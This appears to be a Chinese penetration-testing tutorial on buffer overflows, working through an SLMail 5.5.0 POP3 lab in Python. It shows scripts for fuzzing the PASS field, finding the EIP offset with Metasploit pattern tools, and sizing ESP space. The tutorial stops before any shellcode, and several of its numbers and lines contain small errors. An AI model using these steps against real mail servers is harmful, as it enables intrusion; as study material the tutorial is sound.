[渗透测试学习九]缓冲区溢出原理

[渗透测试学习九]缓冲区溢出原理

黑客资讯访客1970-01-01 8:00:003313A+A-

程序漏洞从哪里来?

  • 罪恶的根源:变量
  • 数据与代码边界不清
  • 最简漏洞原理——shell脚本漏洞

缓冲区溢出

  • 缓冲区是内存的一个片段
  • 当缓冲区边界不严格时,由于变量传入畸形数据或程序,导致缓冲区撑破,从而覆盖了相邻内存数据
  • 可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权等后果

如何发现?

  • 代码审计
  • 逆向工程
  • 模糊测试
  1. 向程序堆栈半随机的数据、根据内存变化判断溢出
  2. 数据生成器:生成随机、半随机数据
  3. 测试工具:识别溢出漏洞

一个简单的缓冲区溢出实验

实验环境

  • SLMail 5.5.0 Mail Sever
  • ImmunityDebugger_1_85_setup.exe
  • mona.py
    (均为WindowsXP)
    因为更高的版本有:
    DEP:阻止代码从数据页执行
    ASLR:随机内存地址加载执行程序DLL,每次重启地质变化
  • 一个简单的telnet脚本:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    print "\nSending evil buffer..."
    s.connect(('192.168.1.119',110))  # IP地址和端口号
    data = s.secv(1024)
    print data

    s.send('USER admin'+'\r\n')
    data = s.recv(1024)
    print data

    s.send('PASS test'+'\r\n')
    data = s.recv(1024)
    print data

    s.close()
    print "\nDone!"

except:
    print "Could not connect to POP3!"

模糊测试

测试变量(USER,PASS)接受大量数据时是否会溢出
测试脚本:

#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <= 50:
    buffer.append("A"*counter)
    counter=counter+200

for string in buffer:
    print "Fuzzing PASS with %s bytes" % len(string)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(('192.168.1.119',110))
    s.recv(1024)
    s.send('USER test'+'\r\n')
    s.recv(1024)
    s.send('PASS ' + string + '\r\n')
    s.send('QUIT\r\n')
    s.close()

如何判断已经溢出?

利用ImmunityDebugger调试侦听110端口的进程
命令行输入netstat -nao(Windows)查看端口对应进程PID
在ImmunityDebugger点击File-Attach-对应PID-Attach-播放按钮
在客户端运行脚本开始模糊测试
当服务器崩溃的时候,可以确定存在缓冲区溢出漏洞,还能确定大致溢出的字符串个数。

如何精确找出溢出的位置?

生成唯一字符串溢出,查看EIP被占用的字符串即可确定

  • 生成唯一字符串方式:
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 2700

重启服务器
利用唯一字符串发送测试数据

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="唯一字符串"  #  修改此数据
try:
    print "\nSending evil buffer..."
    s.connect(('192.168.1.119', 110))
    data = s.recv(1024)
    s.send('USER test'+'\r\n')
    data = s.recv(1024)
    s.send('PASS '+buffer+'\r\n')
    print "\nDone!"
except:
    print "Could not connect to POP3!"

此时EIP被填入了的四个ASC编码(例如38446939)
将这四个ASC编码倒序(39694438),利用

cd /usr/share/metasploit-framework/tools/exploit
./pattern_offset.rb -q 39694438
# 显示结果为2606,表示这个字符串之前有2006个字符,这个字符串在2607开始的。

找到字符对应的位置

寻找可存放shellcode的内存空间

将缓冲区全部填为A,EIP填为B,ESP跟C
运行脚本:

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer= "A"*2606+"B"*4+"C"*(2606+4+3000)  # 先放3000个
try:
    print "\nSending evil buffer..."
    s.connect(('192.168.1.119', 110))
    data = s.recv(1024)
    s.send('USER test'+'\r\n')
    data = s.recv(1024)
    s.send('PASS '+buffer+'\r\n')
    print "\nDone!"
except:
    print "Could not connect to POP3!"

发送后,在ImmunityDebugger右侧找到ESP右键点击Follow in Down,左下角右键Hex选16字节一行显示。
命令输入calc调出计算器,选择十六进制,将起始位和末尾地址相减得到ESP寄存器能装下的空间大小。

  • 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符。
    null byte(0x00)空字符,用于终止字符串拷贝的操作
    return (0x0D)回车操作,表示POP3 PASS命令输入完成
    思路:发送0x00-0xff共256个字符,查看哪些不字符能用

待更。。。

Linux缓冲区溢出探测

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 3条评论
  • 假欢千夜2022-06-03 10:25:23
  • 24) s.send('PASS ' + string + '\r\n') s.send('QUIT\r\n') s.close()如何判断已经溢出?利用Immun
  • 双笙迷麇2022-06-03 09:34:06
  • 110)) data = s.recv(1024) s.send('USER test'+'\r\n') data = s.recv(1024) s.send('PASS '+bu
  • 性许痴妓2022-06-03 09:17:01
  • socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.119',110)) s.recv(1024) s.send('USER test'+'\r\n') s.recv(1024) s.

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理